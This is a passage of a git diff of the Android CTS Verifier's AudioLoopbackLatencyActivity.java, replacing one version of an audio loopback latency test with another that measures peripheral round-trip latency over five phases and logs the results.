- switch (mTestPeripheral) {
- case TESTPERIPHERAL_INVALID:
- pathName = "Invalid Test Peripheral";
- break;
-
- case TESTPERIPHERAL_ANALOG_JACK:
- pathName = "Headset Jack";
- break;
-
- case TESTPERIPHERAL_USB:
- pathName = "USB";
- break;
-
- case TESTPERIPHERAL_DEVICE:
- pathName = "Device Speaker + Microphone";
- break;
-
- case TESTPERIPHERAL_NONE:
- default:
- pathName = "Error. Unknown Test Path";
- break;
- }
- mTestPathTxt.setText(pathName);
- mTestButton.setEnabled(
- mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
-
- }
-
- private boolean areIODevicesOnePeripheral() {
- if (mOutputDevInfo == null || mInputDevInfo == null) {
- return false;
- }
-
- return mOutputDevInfo.getProductName().toString().equals(
- mInputDevInfo.getProductName().toString());
- }
-
- private void calculateLatencyThresholds() {
- switch (mTestPeripheral) {
- case TESTPERIPHERAL_ANALOG_JACK:
- mRecommendedLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
- break;
-
- case TESTPERIPHERAL_USB:
- mRecommendedLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
- break;
-
- case TESTPERIPHERAL_DEVICE:
- // This isn't a valid case so we won't pass it, but it can be run
- mRecommendedLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
- break;
-
- case TESTPERIPHERAL_NONE:
- default:
- mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = BASIC_MUST_LATENCY_MS;
- break;
- }
- }
-
- private void displayLatencyThresholds() {
- if (isPeripheralValidForTest()) {
- ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
- ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
- "" + mRecommendedLatency);
- } else {
- String naStr = getResources().getString(R.string.audio_proaudio_NA);
- ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
- ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
- }
- }
-
- /**
- * refresh Audio Level seekbar and text
- */
- private void refreshLevel() {
- int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
- mAudioLevelSeekbar.setProgress(currentLevel);
-
- String levelText = String.format("%s: %d/%d",
- getResources().getString(R.string.audio_loopback_level_text),
- currentLevel, mMaxLevel);
- mAudioLevelText.setText(levelText);
- }
-
- //
- // show active progress bar
- //
- protected void showWait(boolean show) {
- mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
- }
-
- //
- // Common loging
- //
- // Schema
- private static final String KEY_LATENCY = "latency";
- private static final String KEY_CONFIDENCE = "confidence";
- private static final String KEY_SAMPLE_RATE = "sample_rate";
- private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
- private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
- private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
- private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
- private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
- private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
- private static final String KEY_TEST_MMAP = "supports_mmap";
- private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
- private static final String KEY_LEVEL = "level";
- private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
-
- @Override
- public String getTestId() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
- }
-
- //
- // Subclasses should call this explicitly. SubClasses should call submit() after their logs
- //
- @Override
- public void recordTestResults() {
- if (mNativeAnalyzerThread == null) {
- return; // no results to report
- }
-
- CtsVerifierReportLog reportLog = getReportLog();
- reportLog.addValue(
- KEY_LATENCY,
- mMeanLatencyMillis,
- ResultType.LOWER_BETTER,
- ResultUnit.MS);
-
- reportLog.addValue(
- KEY_CONFIDENCE,
- mMeanConfidence,
- ResultType.HIGHER_BETTER,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_SAMPLE_RATE,
- mNativeAnalyzerThread.getSampleRate(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_LOW_LATENCY,
- mNativeAnalyzerThread.isLowLatencyStream(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_PERIPHERAL_ATTACHED,
- mIsPeripheralAttached,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_PRO_AUDIO,
- mClaimsProAudio,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_PERIPHERAL,
- mTestPeripheral,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAP,
- mSupportsMMAP,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAPEXCLUSIVE ,
- mSupportsMMAPExclusive,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- if (mIsPeripheralAttached) {
- reportLog.addValue(
- KEY_INPUT_PERIPHERAL_NAME,
- mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_OUTPUT_PERIPHERAL_NAME,
- mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
- ResultType.NEUTRAL,
- ResultUnit.NONE);
- }
-
- int audioLevel = mAudioLevelSeekbar.getProgress();
- reportLog.addValue(
- KEY_LEVEL,
- audioLevel,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.submit();
- }
-
- private void startAudioTest(Handler messageHandler) {
- getPassButton().setEnabled(false);
-
- mTestPhase = 0;
- java.util.Arrays.fill(mLatencyMillis, 0.0);
- java.util.Arrays.fill(mConfidence, 0.0);
-
- mNativeAnalyzerThread = new NativeAnalyzerThread(this);
- if (mNativeAnalyzerThread != null) {
- mNativeAnalyzerThread.setMessageHandler(messageHandler);
- // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
- mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
- startTestPhase();
- } else {
- Log.e(TAG, "Couldn't allocate native analyzer thread");
- mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
- }
- }
-
- private void startTestPhase() {
- if (mNativeAnalyzerThread != null) {
- mNativeAnalyzerThread.startTest();
-
- // what is this for?
- try {
- Thread.sleep(200);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- }
-
- private void handleTestCompletion() {
- mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
- mMeanAbsoluteDeviation =
- StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
- mMeanConfidence = StatUtils.calculateMean(mConfidence);
-
- boolean pass = isPeripheralValidForTest()
- && mMeanConfidence >= CONFIDENCE_THRESHOLD
- && mMeanLatencyMillis > EPSILON
- && mMeanLatencyMillis < mMustLatency;
-
- getPassButton().setEnabled(pass);
-
- String result;
- if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
- result = String.format(
- "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
- mMeanConfidence, CONFIDENCE_THRESHOLD);
- } else {
- result = String.format(
- "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
- "Mean Absolute Deviation: %.2f\n" +
- " Confidence: %.2f\n" +
- " Low Latency Path: %s",
- (pass ? "PASS" : "FAIL"),
- mMeanLatencyMillis,
- mMustLatency,
- mMeanAbsoluteDeviation,
- mMeanConfidence,
- mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
- }
-
- // Make sure the test thread is finished. It should already be done.
- if (mNativeAnalyzerThread != null) {
- try {
- mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- mResultText.setText(result);
-
- recordTestResults();
-
- showWait(false);
- mTestButton.setEnabled(true);
- }
-
- private void handleTestPhaseCompletion() {
- if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
- mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
- mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
-
- String result = String.format(
- "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
- mTestPhase,
- mLatencyMillis[mTestPhase],
- mConfidence[mTestPhase]);
-
- mResultText.setText(result);
- try {
- mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
- // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
-
- mTestPhase++;
- if (mTestPhase >= NUM_TEST_PHASES) {
- handleTestCompletion();
- } else {
- startTestPhase();
- }
- }
- }
-
- /**
- * handler for messages from audio thread
- */
- private Handler mMessageHandler = new Handler() {
- public void handleMessage(Message msg) {
- super.handleMessage(msg);
- switch(msg.what) {
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
- Log.v(TAG,"got message native rec started!!");
- showWait(true);
- mResultText.setText(String.format("[phase: %d] - Test Running...",
- (mTestPhase + 1)));
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
- Log.v(TAG,"got message native rec can't start!!");
- mResultText.setText("Test Error opening streams.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
- Log.v(TAG,"got message native rec can't start!!");
- mResultText.setText("Test Error while recording.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
- mResultText.setText("Test FAILED due to errors.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
- Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
- mResultText.setText(String.format("[phase: %d] - Analyzing ...",
- mTestPhase + 1));
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
- Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
- handleTestPhaseCompletion();
- break;
- default:
- break;
- }
- }
- };
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- setContentView(R.layout.audio_loopback_latency_activity);
-
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
- setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
-
- mClaimsOutput = AudioSystemFlags.claimsOutput(this);
- mClaimsInput = AudioSystemFlags.claimsInput(this);
- mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
-
- mYesString = getResources().getString(R.string.audio_general_yes);
- mNoString = getResources().getString(R.string.audio_general_no);
-
- // Pro Audio
- ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
- "" + (mClaimsProAudio ? mYesString : mNoString));
-
- // MMAP
- ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
- "" + (mSupportsMMAP ? mYesString : mNoString));
- ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
- "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
-
- // Low Latency
- ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
- "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
-
- mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
-
- mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
- mTestButton.setOnClickListener(mBtnClickListener);
-
- mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
-
- mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
-
- connectLoopbackUI();
-
- calculateLatencyThresholds();
- displayLatencyThresholds();
- }
-
- private class OnBtnClickListener implements OnClickListener {
- @Override
- public void onClick(View v) {
- switch (v.getId()) {
- case R.id.audio_loopback_test_btn:
- Log.i(TAG, "audio loopback test");
- startAudioTest(mMessageHandler);
- break;
- }
- }
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index 9490091..8ee3446 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2015 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,9 +16,679 @@
package com.android.cts.verifier.audio;
+import android.app.AlertDialog;
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.MediaRecorder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.widget.Button;
+import android.widget.ProgressBar;
+import android.widget.SeekBar;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
+import com.android.cts.verifier.audio.audiolib.StatUtils;
+import com.android.cts.verifier.audio.audiolib.AudioUtils;
+import com.android.cts.verifier.CtsVerifierReportLog;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
/**
- * Tests Audio Device roundtrip latency by using a loopback plug.
+ * CtsVerifier Audio Loopback Latency Test
*/
-public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
- private static final String TAG = AudioLoopbackLatencyActivity.class.getSimpleName();
+public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
+ private static final String TAG = "AudioLoopbackLatencyActivity";
+
+ // JNI load
+ static {
+ try {
+ System.loadLibrary("audioloopback_jni");
+ } catch (UnsatisfiedLinkError e) {
+ Log.e(TAG, "Error loading Audio Loopback JNI library");
+ Log.e(TAG, "e: " + e);
+ e.printStackTrace();
+ }
+
+ /* TODO: gracefully fail/notify if the library can't be loaded */
+ }
+ protected AudioManager mAudioManager;
+
+ // UI
+ TextView mInputDeviceTxt;
+ TextView mOutputDeviceTxt;
+
+ TextView mAudioLevelText;
+ SeekBar mAudioLevelSeekbar;
+
+ TextView mTestPathTxt;
+
+ TextView mResultText;
+ ProgressBar mProgressBar;
+ int mMaxLevel;
+
+ OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+ protected Button mTestButton;
+
+ String mYesString;
+ String mNoString;
+
+ // These flags determine the maximum allowed latency
+ private boolean mClaimsProAudio;
+ private boolean mClaimsOutput;
+ private boolean mClaimsInput;
+
+ // Useful info
+ private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
+ private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
+
+ // Peripheral(s)
+ boolean mIsPeripheralAttached; // CDD ProAudio section C-1-3
+ AudioDeviceInfo mOutputDevInfo;
+ AudioDeviceInfo mInputDevInfo;
+
+ protected static final int TESTPERIPHERAL_INVALID = -1;
+ protected static final int TESTPERIPHERAL_NONE = 0;
+ protected static final int TESTPERIPHERAL_ANALOG_JACK = 1;
+ protected static final int TESTPERIPHERAL_USB = 2;
+ protected static final int TESTPERIPHERAL_DEVICE = 3; // device speaker + mic
+ protected int mTestPeripheral = TESTPERIPHERAL_NONE;
+
+ // Loopback Logic
+ NativeAnalyzerThread mNativeAnalyzerThread = null;
+
+ protected static final int NUM_TEST_PHASES = 5;
+ protected int mTestPhase = 0;
+
+ protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
+ protected double[] mConfidence = new double[NUM_TEST_PHASES];
+
+ protected double mMeanLatencyMillis;
+ protected double mMeanAbsoluteDeviation;
+ protected double mMeanConfidence;
+
+ protected static final double CONFIDENCE_THRESHOLD = 0.6;
+ // impossibly low latencies (indicating something in the test went wrong).
+ protected static final float EPSILON = 1.0f;
+ protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
+ protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
+ protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
+ protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
+ protected static final double BASIC_MUST_LATENCY_MS = 800.0;
+ protected double mMustLatency;
+ protected double mRecommendedLatency;
+
+ // The audio stream callback threads should stop and close
+ // in less than a few hundred msec. This is a generous timeout value.
+ private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
+
+ //
+ // Common UI Handling
+ //
+ private void connectLoopbackUI() {
+ // Connected Device
+ mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
+ mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
+
+ mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
+ mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
+ mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+ mAudioLevelSeekbar.setMax(mMaxLevel);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
+ refreshLevel();
+
+ mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
+ @Override
+ public void onStopTrackingTouch(SeekBar seekBar) {}
+
+ @Override
+ public void onStartTrackingTouch(SeekBar seekBar) {}
+
+ @Override
+ public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
+ progress, 0);
+ Log.i(TAG,"Level set to: " + progress);
+ refreshLevel();
+ }
+ });
+
+ mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
+ mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
+ showWait(false);
+ }
+
+ //
+ // Peripheral Connection Logic
+ //
+ protected void scanPeripheralList(AudioDeviceInfo[] devices) {
+ // CDD Section C-1-3: USB port, host-mode support
+
+ // Can't just use the first record because then we will only get
+ // Source OR sink, not both even on devices that are both.
+ mOutputDevInfo = null;
+ mInputDevInfo = null;
+
+ // Any valid peripherals
+ // Do we leave in the Headset test to support a USB-Dongle?
+ for (AudioDeviceInfo devInfo : devices) {
+ if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
+ devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
+ devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
+ devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
+ if (devInfo.isSink()) {
+ mOutputDevInfo = devInfo;
+ }
+ if (devInfo.isSource()) {
+ mInputDevInfo = devInfo;
+ }
+ } else {
+ handleDeviceConnection(devInfo);
+ }
+ }
+
+ // need BOTH input and output to test
+ mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
+ calculateTestPeripheral();
+ showConnectedAudioPeripheral();
+ calculateLatencyThresholds();
+ displayLatencyThresholds();
+ }
+
+ protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
+ // NOP
+ }
+
+ private class ConnectListener extends AudioDeviceCallback {
+ /*package*/ ConnectListener() {}
+
+ //
+ // AudioDevicesManager.OnDeviceConnectionListener
+ //
+ @Override
+ public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+
+ @Override
+ public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+ }
+
+ private void calculateTestPeripheral() {
+ if (!mIsPeripheralAttached) {
+ if ((mOutputDevInfo != null && mInputDevInfo == null)
+ || (mOutputDevInfo == null && mInputDevInfo != null)) {
+ mTestPeripheral = TESTPERIPHERAL_INVALID;
+ } else {
+ mTestPeripheral = TESTPERIPHERAL_DEVICE;
+ }
+ } else if (!areIODevicesOnePeripheral()) {
+ mTestPeripheral = TESTPERIPHERAL_INVALID;
+ } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+ mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+ mTestPeripheral = TESTPERIPHERAL_USB;
+ } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
+ mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
+ mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
+ } else {
+ // Huh?
+ Log.e(TAG, "No valid peripheral found!?");
+ mTestPeripheral = TESTPERIPHERAL_NONE;
+ }
+ }
+
+ private boolean isPeripheralValidForTest() {
+ return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
+ || mTestPeripheral == TESTPERIPHERAL_USB;
+ }
+
+ private void showConnectedAudioPeripheral() {
+ mInputDeviceTxt.setText(
+ mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
+ : "Not connected");
+ mOutputDeviceTxt.setText(
+ mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
+ : "Not connected");
+
+ String pathName;
+ switch (mTestPeripheral) {
+ case TESTPERIPHERAL_INVALID:
+ pathName = "Invalid Test Peripheral";
+ break;
+
+ case TESTPERIPHERAL_ANALOG_JACK:
+ pathName = "Headset Jack";
+ break;
+
+ case TESTPERIPHERAL_USB:
+ pathName = "USB";
+ break;
+
+ case TESTPERIPHERAL_DEVICE:
+ pathName = "Device Speaker + Microphone";
+ break;
+
+ case TESTPERIPHERAL_NONE:
+ default:
+ pathName = "Error. Unknown Test Path";
+ break;
+ }
+ mTestPathTxt.setText(pathName);
+ mTestButton.setEnabled(
+ mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
+
+ }
+
+ private boolean areIODevicesOnePeripheral() {
+ if (mOutputDevInfo == null || mInputDevInfo == null) {
+ return false;
+ }
+
+ return mOutputDevInfo.getProductName().toString().equals(
+ mInputDevInfo.getProductName().toString());
+ }
+
+ private void calculateLatencyThresholds() {
+ switch (mTestPeripheral) {
+ case TESTPERIPHERAL_ANALOG_JACK:
+ mRecommendedLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+ break;
+
+ case TESTPERIPHERAL_USB:
+ mRecommendedLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+ break;
+
+ case TESTPERIPHERAL_DEVICE:
+ // This isn't a valid case so we won't pass it, but it can be run
+ mRecommendedLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
+ break;
+
+ case TESTPERIPHERAL_NONE:
+ default:
+ mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = BASIC_MUST_LATENCY_MS;
+ break;
+ }
+ }
+
+ private void displayLatencyThresholds() {
+ if (isPeripheralValidForTest()) {
+ ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
+ ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
+ "" + mRecommendedLatency);
+ } else {
+ String naStr = getResources().getString(R.string.audio_proaudio_NA);
+ ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
+ ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
+ }
+ }
+
+ /**
+ * refresh Audio Level seekbar and text
+ */
+ private void refreshLevel() {
+ int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+ mAudioLevelSeekbar.setProgress(currentLevel);
+
+ String levelText = String.format("%s: %d/%d",
+ getResources().getString(R.string.audio_loopback_level_text),
+ currentLevel, mMaxLevel);
+ mAudioLevelText.setText(levelText);
+ }
+
+ //
+ // show active progress bar
+ //
+ protected void showWait(boolean show) {
+ mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+ }
+
+ //
+ // Common logging
+ //
+ // Schema
+ private static final String KEY_LATENCY = "latency";
+ private static final String KEY_CONFIDENCE = "confidence";
+ private static final String KEY_SAMPLE_RATE = "sample_rate";
+ private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
+ private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
+ private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
+ private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
+ private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+ private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
+ private static final String KEY_TEST_MMAP = "supports_mmap";
+ private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
+ private static final String KEY_LEVEL = "level";
+ private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
+
+ @Override
+ public String getTestId() {
+ return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ }
+
+ @Override
+ public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public final String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity");
+ }
+
+ //
+ // Subclasses should call this explicitly. SubClasses should call submit() after their logs
+ //
+ @Override
+ public void recordTestResults() {
+ if (mNativeAnalyzerThread == null) {
+ return; // no results to report
+ }
+
+ CtsVerifierReportLog reportLog = getReportLog();
+ reportLog.addValue(
+ KEY_LATENCY,
+ mMeanLatencyMillis,
+ ResultType.LOWER_BETTER,
+ ResultUnit.MS);
+
+ reportLog.addValue(
+ KEY_CONFIDENCE,
+ mMeanConfidence,
+ ResultType.HIGHER_BETTER,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_SAMPLE_RATE,
+ mNativeAnalyzerThread.getSampleRate(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_LOW_LATENCY,
+ mNativeAnalyzerThread.isLowLatencyStream(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_PERIPHERAL_ATTACHED,
+ mIsPeripheralAttached,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_PRO_AUDIO,
+ mClaimsProAudio,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_PERIPHERAL,
+ mTestPeripheral,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAP,
+ mSupportsMMAP,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAPEXCLUSIVE ,
+ mSupportsMMAPExclusive,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ if (mIsPeripheralAttached) {
+ reportLog.addValue(
+ KEY_INPUT_PERIPHERAL_NAME,
+ mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_OUTPUT_PERIPHERAL_NAME,
+ mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ }
+
+ int audioLevel = mAudioLevelSeekbar.getProgress();
+ reportLog.addValue(
+ KEY_LEVEL,
+ audioLevel,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.submit();
+ }
+
+ private void startAudioTest(Handler messageHandler) {
+ getPassButton().setEnabled(false);
+
+ mTestPhase = 0;
+ java.util.Arrays.fill(mLatencyMillis, 0.0);
+ java.util.Arrays.fill(mConfidence, 0.0);
+
+ mNativeAnalyzerThread = new NativeAnalyzerThread(this);
+ if (mNativeAnalyzerThread != null) {
